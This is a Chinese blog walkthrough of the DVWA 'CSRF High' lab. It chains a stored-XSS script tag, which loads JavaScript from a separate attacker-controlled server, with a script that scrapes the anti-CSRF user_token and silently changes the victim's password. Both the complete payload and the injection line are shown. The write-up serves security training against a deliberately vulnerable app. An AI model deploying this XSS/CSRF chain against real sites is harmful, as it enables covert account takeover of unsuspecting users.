DVWA—CSRF-High跨站请求伪造高级

1、这一关需要猥琐一点,我们先提交一个正常的数据包。查看这里提交了一个user_token。

而这个user_token我们可以从F12代码中看到,是登录进来之后就生成了

2、这里我们可以切换到从low的关卡中,在XSS(stored)关卡中埋下一个伏笔。——一个脚本连接

<script src=http://192.168.xx.xx/CSRF-high-take_token.js></script>

#这个CSRF-high-take_token.js脚本是写在另外一台服务器上的一个Js文件。

3、在这个脚本中将用来获取user_token的同时提交修改密码的get请求。CSRF-high-take_token.js代码如下

/*  取出token来实现csrf   */
var tokenUrl = 'http://192.168.100.4/vulnerabilities/csrf/';
var count = 0;
// 实例化XMLHttpRequest,用于发送AJAX请求
xmlhttp = new XMLHttpRequest();
// 当请求的状态发生变化时,触发执行代码
xmlhttp.onreadystatechange = function() {
    //状态码:0:请求未初始化,1: 服务器连接已建立,2:请求已接收,3:请求处理中,4: 请求已完成,且响应已就绪
    if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
      // 取得请求的响应,并从响应中通过正则提取Token
      var text = xmlhttp.responseText;
      var regex = /user_token\' value\=\'(.*?)\' \/>/;
      var match = text .match(regex);
      // alert(match[1]);
      var token = match[1];
      // 发送修改密码的语法
      var changeUrl = 'http://192.168.100.4/vulnerabilities/csrf/?user_token='+token+'&password_new=12581&password_conf=12581&Change=Change';
      if (count == 0) {
        count = 1;  // 只发送一次,否则会多次发送
      xmlhttp.open("GET",changeUrl,false); // false 代表同步方式发送(前面的数据处理完才能进行)
        xmlhttp.send();
      }
    } 
};
xmlhttp.open("GET",tokenUrl, false);
xmlhttp.send();

4、当我们的payload在XSS(Stroed)-low关卡中注入完毕之后,并没有什么效果。要回去把关卡设置成high。

这个时候,当你点击到 XSS(Stroed) 界面的时候,用户界面没有任何反应,但是密码就已经被神不知鬼不觉的修改了!

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值